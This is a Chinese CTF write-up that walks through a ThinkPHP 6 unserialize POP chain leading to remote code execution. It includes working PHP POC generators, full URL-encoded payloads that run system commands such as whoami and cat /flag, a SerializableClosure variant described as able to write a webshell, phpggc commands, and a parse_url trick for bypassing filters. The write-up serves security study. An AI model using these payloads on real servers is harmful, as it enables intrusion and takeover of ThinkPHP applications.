[toc]
前几天在 Buuctf 上做了 [安洵杯 2019]iamthinking 这道题,题目给了源码,目的是让通过pop链审计出ThinkPHP6反序列化漏洞。
这里总结一下ThinkPHP6的反序列化漏洞的利用。
搭建环境
ThinkPHP6需要php7.1及以上的环境才能搭建成功。
利用条件
这个漏洞的利用需要利用ThinkPHP进行二次开发,当源码中存在unserialize()函数且参数可控时,既可触发这个洞。
下面手动设置漏洞点,在Index控制器中写入:
<?php
namespace app\controller;
use app\BaseController;
class Index extends BaseController
{
public function index()
{
$c = unserialize($_GET['whoami']); // 参数可控的unserialize函数
var_dump($c);
return 'Welcome to ThinkPHP!';
}
}
下面我们开始研究POP链的构造。
__destruct() 链构造
在 ThinkPHP5.x 的POP链中,入口都是 think\process\pipes\Windows
类,通过该类触发任意类的 __toString
方法。但是 ThinkPHP6.x 的代码移除了 think\process\pipes\Windows
类,而POP链 __toString
之后的 Gadget 仍然存在,所以我们得继续寻找可以触发 __toString
方法的点。所有,总的目的就是跟踪寻找可以触发 __toString()
魔术方法的点。
先从起点 __destruct()
或 __wakeup
方法开始,因为它们就是unserialize的触发点。
(1)寻找 __destruct 方法
我们全局搜索 __destruct()
方法,这里发现了 /vendor/topthink/think-orm/src/Model.php 中 Model
类的 __destruct
方法:
并且当满足 $this->lazySave==true
时,它里面含有save()方法会被触发,我们跟进save()方法。
(2)跟进save()方法
发现对 $this->exists
属性进行判断,如果为true则调用updateData()方法,如果为false则调用insertData()方法。而要想到达这一步,则要先避免被前面的判断给return掉,所以需要先满足下面这个if语句:
if ($this->isEmpty() || false === $this->trigger('BeforeWrite')) {
return false;
}
只需 $this->isEmpty()
为返回false,$this->trigger('BeforeWrite')
返回true即可。
- 先跟进
$this->isEmpty()
方法:
可见只需要满足$this->data
不为空即可。
- 再跟进
$this->trigger()
方法(位于vendor\topthink\think-orm\src\model\concern\ModelEvent.php中):
可见只需要满足 $this->withEvent == false
即可返回true。
在通过if判断语句之后,就可以进入到:
$result = $this->exists ? $this->updateData() : $this->insertData($sequence);
当 $this->exists == true
时进入 $this->updateData()
;当 $this->exists == false
时进入 $this->insertData()
。
分别跟进这两个方法,发现 updateData()
存在继续利用的点,所以需要 $this->exists == true
,跟进分析。
(3)跟进updateData()方法
这里下一步的利用点存在于 $this->checkAllowFields()
中,但是要进入并调用该函数,需要先通过①②两处的if语句:
通过①处if语句:通过上面对trigger()方法的分析,我们知道需要令 $this->withEvent == false
即可通过。由于前面已经绕过了save()方法中的trigger(),所以这里就不用管了。
通过②处if语句:需要 $data == 1
(非空)即可,所以我们跟进 $this->getChangedData()
方法(位于vendor\topthink\think-orm\src\model\concern\Attribute.php中)看一下:
可见,我们只需要令 $this->force == true
即可直接返回 $this-data
,而我们之前也需要设置 $this-data
为非空。
回到 updateData()
中,之后就可以成功调用到了 $this->checkAllowFields()
。
(4)跟进checkAllowFields()方法
可见,要想成功进入并执行 $this->db()
方法,我们要先通过前面的两个if语句:
通过①处if语句:只需令 $this->field
为空。
通过②处if语句:只需令 $this->schema
非空。
但可以看到field和schema是默认为空的(位于vendor\topthink\think-orm\src\model\concern\Attribute.php中),所以不用管,然后进一步跟进$this->db()
。
(5)跟进db()方法
可以看到这里已经出现了用 .
进行字符串连接的操作了, 所以我们可以把 $this->table
或 $this->suffix
设置成相应的类对象,此时通过 .
拼接便可以把类对象当做字符串,就可以触发 __toString()
方法了。
(6)__destruct() 链构造小结
目前为止,前半条POP链已经完成,即可以通过字符串拼接去调用 __toString()
,所以先总结一下我们需要设置的点:
$this->data不为空
$this->lazySave == true
$this->withEvent == false
$this->exists == true
$this->force == true
调用过程如下:
__destruct()——>save()——>updateData()——>checkAllowFields()——>db()——>$this->table . $this->suffix(字符串拼接)——>toString()
但是还有一个问题就是 Model
类是抽象类,不能实例化。所以要想利用,得找出 Model
类的一个子类进行实例化,这里可以用 Pivot
类(位于\vendor\topthink\think-orm\src\model\Pivot.php中)进行利用:
__toString() 链构造
(1)寻找 __toString() 方法
既然前半条POP链已经能够触发 __toString()
了,下面就是寻找利用点。这次漏洞的 __toString()
利用点位于 vendor\topthink\think-orm\src\model\concern\Conversion.php 中名为Conversion
的trait中:
代码很简单,我们继续跟进 toJson()
方法。
(2)跟进toJson()方法
没什么好说的,继续跟进 toArray()
方法。
(3)跟进toArray()方法
对 $date
进行遍历,其中 $key
为 $date
的键。默认情况下,会进入第二个 elseif
语句,从而将 $key
作为参数调用 getAttr()
方法。
我们接着跟进 getAttr()
方法(位于 vendor\topthink\think-orm\src\model\concern\Attribute.php 中)。
(4)跟进getAttr()方法
$value
的值返回自 $this->getData()
方法,且 getData()
方法的参数为上面 toArray()
传进来的 $key
,跟进一下 getData()
方法:
第一个if判断传入的值,如果 $name
值不为空,则将 $name
值传入到getRealFieldName()方法。
这里面 getRealFieldName()
方法的参数,即 $name
,依然是上面 toArray()
传进来的 $key
。
继续跟进 getRealFieldName()
方法:
当满足 $this->strict == true
时(默认为true),直接返回$name
,也就是最开始从 toArray()
方法中传进来的 $key
值。
从 getRealFieldName()
方法回到 getData()
方法,此时 $fieldName
即为 $key
。而返回语句如下:
这实际上就是返回了 $this->data[$key]
。
然后再从 getData()
回到 getAttr()
,最后的返回语句如下:
这时参数 $name
则是从 toArray()
传进来的 $key
,而参数 $value
的值就是 $this->data[$key]
。
继续跟进一下 getValue()
方法。
跟进getValue()方法
我们在getValue()方法中可以看到最终的利用点,即:
$closure = $this->withAttr[$fieldName];
$value = $closure($value, $this->data);
只要我们令 $closure
为 "system",$this->data
为要执行的命令就可以动态执行system()函数来Getshell了。
我们尝试令 withAttr[$fieldName]="system"
、$this->data="whoami"
,即执行 system('whoami');
。
但如果要构造以上命令还需要绕过前面的两个if语句:
通过①处if语句:只需 $this->withAttr[$key]
存在。
通过②处if语句:只需 $this->withAttr[$key]
存在且不为数组。
即 $this->withAttr
数组存在和 $date
一样的键 $key
,并且这个键对应的值不能为数组。
(6)__toString() 链构造小结
至此,后半个POP链也构造完成,总结下__toString() 链需要构造的点:
trait Attribute
{
private $data = ["evil_key" => "whoami"];
private $withAttr = ["evil_key" => "system"];
}
除此之外还需要将前面说的字符串拼接处的 table
声明为Pivot类的对象,从而将两个POP链串联起来。
第二个POP链调用过程如下:
POC
最终POC如下:
<?php
namespace think\model\concern;
trait Attribute
{
private $data = ["evil_key" => "whoami"];
private $withAttr = ["evil_key" => "system"];
}
namespace think;
abstract class Model
{
use model\concern\Attribute;
private $lazySave;
protected $withEvent;
private $exists;
private $force;
protected $table;
function __construct($obj = '')
{
$this->lazySave = true;
$this->withEvent = false;
$this->exists = true;
$this->force = true;
$this->table = $obj;
}
}
namespace think\model;
use think\Model;
class Pivot extends Model
{
}
$a = new Pivot();
$b = new Pivot($a);
echo urlencode(serialize($b));
运行得到payload:
O%3A17%3A%22think%5Cmodel%5CPivot%22%3A7%3A%7Bs%3A21%3A%22%00think%5CModel%00lazySave%22%3Bb%3A1%3Bs%3A12%3A%22%00%2A%00withEvent%22%3Bb%3A0%3Bs%3A19%3A%22%00think%5CModel%00exists%22%3Bb%3A1%3Bs%3A18%3A%22%00think%5CModel%00force%22%3Bb%3A1%3Bs%3A8%3A%22%00%2A%00table%22%3BO%3A17%3A%22think%5Cmodel%5CPivot%22%3A7%3A%7Bs%3A21%3A%22%00think%5CModel%00lazySave%22%3Bb%3A1%3Bs%3A12%3A%22%00%2A%00withEvent%22%3Bb%3A0%3Bs%3A19%3A%22%00think%5CModel%00exists%22%3Bb%3A1%3Bs%3A18%3A%22%00think%5CModel%00force%22%3Bb%3A1%3Bs%3A8%3A%22%00%2A%00table%22%3Bs%3A0%3A%22%22%3Bs%3A17%3A%22%00think%5CModel%00data%22%3Ba%3A1%3A%7Bs%3A8%3A%22evil_key%22%3Bs%3A6%3A%22whoami%22%3B%7Ds%3A21%3A%22%00think%5CModel%00withAttr%22%3Ba%3A1%3A%7Bs%3A8%3A%22evil_key%22%3Bs%3A6%3A%22system%22%3B%7D%7Ds%3A17%3A%22%00think%5CModel%00data%22%3Ba%3A1%3A%7Bs%3A8%3A%22evil_key%22%3Bs%3A6%3A%22whoami%22%3B%7Ds%3A21%3A%22%00think%5CModel%00withAttr%22%3Ba%3A1%3A%7Bs%3A8%3A%22evil_key%22%3Bs%3A6%3A%22system%22%3B%7D%7D
最后,利用我们该开始在Index控制器中创建的可控的反序列化点执行即可:
如上图,成功执行命令。
利用SerializableClosure来构造payload
还有一种方法就是用 ThinkPHP 自带的 SerializableClosure 来调用,我们来看一下这个方法。
主要是上面getValue()方法里的漏洞点,也就是构造pop链的最后的地方:
$closure = $this->withAttr[$fieldName];
$value = $closure($value, $this->data);
我们通过一步步控制 $closure
和 $this->data
最后构造并执行了动态函数。但是由于参数的限制,通过第一种方法我们无法执行 phpinfo()
这样的函数,所以我们尝试另一种方法,也就是利用 SerializableClosure。
\Opis\Closure 可用于序列化匿名函数,使得匿名函数同样可以进行序列化操作。这意味着我们可以序列化一个匿名函数,然后交由上述的 $closure($value, $this->data)
调用执行,即:
$func = function(){phpinfo();};
$closure = new \Opis\Closure\SerializableClosure($func);
$closure($value, $this->data); // 这里的参数可以不用管
以上述代码为例,将调用phpinfo()函数。同样也可以通过将 phpinfo();
改为别的来写webshell。
修改上面的POC即可:
<?php
namespace think\model\concern;
trait Attribute{
private $data;
private $withAttr;
}
trait ModelEvent{
protected $withEvent;
}
namespace think;
abstract class Model{
use model\concern\Attribute;
use model\concern\ModelEvent;
private $exists;
private $force;
private $lazySave;
protected $suffix;
function __construct($a = '')
{
$func = function(){phpinfo();}; //可写马,测试用的phpinfo;
$b=\Opis\Closure\serialize($func);
$this->exists = true;
$this->force = true;
$this->lazySave = true;
$this->withEvent = false;
$this->suffix = $a;
$this->data=['jiang'=>''];
$c=unserialize($b);
$this->withAttr=['jiang'=>$c];
}
}
namespace think\model;
use think\Model;
class Pivot extends Model{}
require 'closure/autoload.php';
echo urlencode(serialize(new Pivot(new Pivot())));
?>
然后我们要执行这个POC生成payload。虽然 thinkphp 有自带的 SerializableClosure
,但是我需要在本地执行POC,所以就要自行下载 \Opis\Closure: https://github.com/opis/closure。
将下载的Closure与POC放在同一目录
然后执行POC即可生成payload:
O%3A17%3A%22think%5Cmodel%5CPivot%22%3A7%3A%7Bs%3A19%3A%22%00think%5CModel%00exists%22%3Bb%3A1%3Bs%3A18%3A%22%00think%5CModel%00force%22%3Bb%3A1%3Bs%3A21%3A%22%00think%5CModel%00lazySave%22%3Bb%3A1%3Bs%3A9%3A%22%00%2A%00suffix%22%3BO%3A17%3A%22think%5Cmodel%5CPivot%22%3A7%3A%7Bs%3A19%3A%22%00think%5CModel%00exists%22%3Bb%3A1%3Bs%3A18%3A%22%00think%5CModel%00force%22%3Bb%3A1%3Bs%3A21%3A%22%00think%5CModel%00lazySave%22%3Bb%3A1%3Bs%3A9%3A%22%00%2A%00suffix%22%3Bs%3A0%3A%22%22%3Bs%3A17%3A%22%00think%5CModel%00data%22%3Ba%3A1%3A%7Bs%3A5%3A%22jiang%22%3Bs%3A0%3A%22%22%3B%7Ds%3A21%3A%22%00think%5CModel%00withAttr%22%3Ba%3A1%3A%7Bs%3A5%3A%22jiang%22%3BC%3A32%3A%22Opis%5CClosure%5CSerializableClosure%22%3A163%3A%7Ba%3A5%3A%7Bs%3A3%3A%22use%22%3Ba%3A0%3A%7B%7Ds%3A8%3A%22function%22%3Bs%3A23%3A%22function%28%29%7B%5Cphpinfo%28%29%3B%7D%22%3Bs%3A5%3A%22scope%22%3Bs%3A11%3A%22think%5CModel%22%3Bs%3A4%3A%22this%22%3BN%3Bs%3A4%3A%22self%22%3Bs%3A32%3A%22000000007ff4c7fb000000003d8ec45f%22%3B%7D%7D%7Ds%3A12%3A%22%00%2A%00withEvent%22%3Bb%3A0%3B%7Ds%3A17%3A%22%00think%5CModel%00data%22%3Ba%3A1%3A%7Bs%3A5%3A%22jiang%22%3Bs%3A0%3A%22%22%3B%7Ds%3A21%3A%22%00think%5CModel%00withAttr%22%3Ba%3A1%3A%7Bs%3A5%3A%22jiang%22%3BC%3A32%3A%22Opis%5CClosure%5CSerializableClosure%22%3A163%3A%7Ba%3A5%3A%7Bs%3A3%3A%22use%22%3Ba%3A0%3A%7B%7Ds%3A8%3A%22function%22%3Bs%3A23%3A%22function%28%29%7B%5Cphpinfo%28%29%3B%7D%22%3Bs%3A5%3A%22scope%22%3Bs%3A11%3A%22think%5CModel%22%3Bs%3A4%3A%22this%22%3BN%3Bs%3A4%3A%22self%22%3Bs%3A32%3A%22000000007ff4c7f5000000003d8ec45f%22%3B%7D%7D%7Ds%3A12%3A%22%00%2A%00withEvent%22%3Bb%3A0%3B%7D
但是SerializableClosure这个方法我在本地没有利用成功,但在最后面安询杯拿到题目里面成功了,不知道为什么。
执行效果如下:
利用phpggc工具生成paylaod
下载地址:https://github.com/wh1t3p1g/phpggc
phpggc是一个反序列化payload生成工具。网上一个大佬已经将ThinkPHP6反序列化的exp添加进phpggc中,需要安装在linux上,然后执行以下命令生成即可生成payload:
php ./phpggc -u thinkphp/rce2 'phpinfo();'
php ./phpggc -u thinkphp/rce2 "system('whoami');"
# php ./phpggc thinkphp/rce2 <code>
但这里由于用到了SerializableClosure,需要使用编码器编码,不可直接输出拷贝利用。
CTF实战:[安洵杯 2019]iamthinking
[安洵杯 2019]iamthinking这道题目利用的就是ThinkPHP V6.0.x 反序列化漏洞。
进入题目,让我们访问/public/目录:
随便构造一个错误发现是thinkphp6的环境,并且提示我们要RCE:
题目给出了源码www.zip。拿到源码先看Index控制器:
这也太简单了,让我们用GET方法传入payload,然后将payload反序列化,不过事先要绕过绕过parse_url函数。
我们可以通过上面的POC构造payload:
<?php
namespace think\model\concern;
trait Attribute
{
private $data = ["evil_key" => "ls /"]; // 查看根目录文件
// private $data = ["evil_key" => "cat /flag"]; // 读取flag
private $withAttr = ["evil_key" => "system"];
}
namespace think;
abstract class Model
{
use model\concern\Attribute;
private $lazySave;
protected $withEvent;
private $exists;
private $force;
protected $table;
function __construct($obj = '')
{
$this->lazySave = true;
$this->withEvent = false;
$this->exists = true;
$this->force = true;
$this->table = $obj;
}
}
namespace think\model;
use think\Model;
class Pivot extends Model
{
}
$a = new Pivot();
$b = new Pivot($a);
echo urlencode(serialize($b));
首先,我们查看根目录的文件,得到payload:
O%3A17%3A%22think%5Cmodel%5CPivot%22%3A7%3A%7Bs%3A21%3A%22%00think%5CModel%00lazySave%22%3Bb%3A1%3Bs%3A12%3A%22%00%2A%00withEvent%22%3Bb%3A0%3Bs%3A19%3A%22%00think%5CModel%00exists%22%3Bb%3A1%3Bs%3A18%3A%22%00think%5CModel%00force%22%3Bb%3A1%3Bs%3A8%3A%22%00%2A%00table%22%3BO%3A17%3A%22think%5Cmodel%5CPivot%22%3A7%3A%7Bs%3A21%3A%22%00think%5CModel%00lazySave%22%3Bb%3A1%3Bs%3A12%3A%22%00%2A%00withEvent%22%3Bb%3A0%3Bs%3A19%3A%22%00think%5CModel%00exists%22%3Bb%3A1%3Bs%3A18%3A%22%00think%5CModel%00force%22%3Bb%3A1%3Bs%3A8%3A%22%00%2A%00table%22%3Bs%3A0%3A%22%22%3Bs%3A17%3A%22%00think%5CModel%00data%22%3Ba%3A1%3A%7Bs%3A8%3A%22evil_key%22%3Bs%3A4%3A%22ls+%2F%22%3B%7Ds%3A21%3A%22%00think%5CModel%00withAttr%22%3Ba%3A1%3A%7Bs%3A8%3A%22evil_key%22%3Bs%3A6%3A%22system%22%3B%7D%7Ds%3A17%3A%22%00think%5CModel%00data%22%3Ba%3A1%3A%7Bs%3A8%3A%22evil_key%22%3Bs%3A4%3A%22ls+%2F%22%3B%7Ds%3A21%3A%22%00think%5CModel%00withAttr%22%3Ba%3A1%3A%7Bs%3A8%3A%22evil_key%22%3Bs%3A6%3A%22system%22%3B%7D%7D
然后,就要绕过parse_url函数对payload中“O”的检测,parse_url函数有个bug,即在域名(主机名)后面多加了两个斜杠 /
后会报错返回false,所以我们构造类似如下的url即可绕过parse_url函数的检测:
http://xxx.com///public/?payload=O%3A17%3A%22think%5Cmodel%5CPivot......%3Bs%3A6%3A%22system%22%3B%7D%7D
这是因为多加了几个 /
后导致严重不合格的 URL,此时将不能正常返回url中的参数值,遇到这样格式的连接,parse_url函数将会报错返回False,这种情况下可能会绕过某些waf的过滤。
如下成功执行命令:
读取flag:
http://xxx.com///public/?payload=O%3A17%3A%22think%5Cmodel%5CPivot%22%3A7%3A%7Bs%3A21%3A%22%00think%5CModel%00lazySave%22%3Bb%3A1%3Bs%3A12%3A%22%00%2A%00withEvent%22%3Bb%3A0%3Bs%3A19%3A%22%00think%5CModel%00exists%22%3Bb%3A1%3Bs%3A18%3A%22%00think%5CModel%00force%22%3Bb%3A1%3Bs%3A8%3A%22%00%2A%00table%22%3BO%3A17%3A%22think%5Cmodel%5CPivot%22%3A7%3A%7Bs%3A21%3A%22%00think%5CModel%00lazySave%22%3Bb%3A1%3Bs%3A12%3A%22%00%2A%00withEvent%22%3Bb%3A0%3Bs%3A19%3A%22%00think%5CModel%00exists%22%3Bb%3A1%3Bs%3A18%3A%22%00think%5CModel%00force%22%3Bb%3A1%3Bs%3A8%3A%22%00%2A%00table%22%3Bs%3A0%3A%22%22%3Bs%3A17%3A%22%00think%5CModel%00data%22%3Ba%3A1%3A%7Bs%3A8%3A%22evil_key%22%3Bs%3A9%3A%22cat+%2Fflag%22%3B%7Ds%3A21%3A%22%00think%5CModel%00withAttr%22%3Ba%3A1%3A%7Bs%3A8%3A%22evil_key%22%3Bs%3A6%3A%22system%22%3B%7D%7Ds%3A17%3A%22%00think%5CModel%00data%22%3Ba%3A1%3A%7Bs%3A8%3A%22evil_key%22%3Bs%3A9%3A%22cat+%2Fflag%22%3B%7Ds%3A21%3A%22%00think%5CModel%00withAttr%22%3Ba%3A1%3A%7Bs%3A8%3A%22evil_key%22%3Bs%3A6%3A%22system%22%3B%7D%7D
成功。
还可以利用上面提到的phpggc工具来生成payload:
php ./phpggc -u thinkphp/rce2 'phpinfo();'
php ./phpggc -u thinkphp/rce2 "system('cat /flag');"
# php ./phpggc thinkphp/rce2 <code>
Ending......
参考:
https://blog.csdn.net/qq_42181428/article/details/105777872
https://www.anquanke.com/post/id/187393
https://www.gaojiufeng.cn/?id=386
BY:先知论坛
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论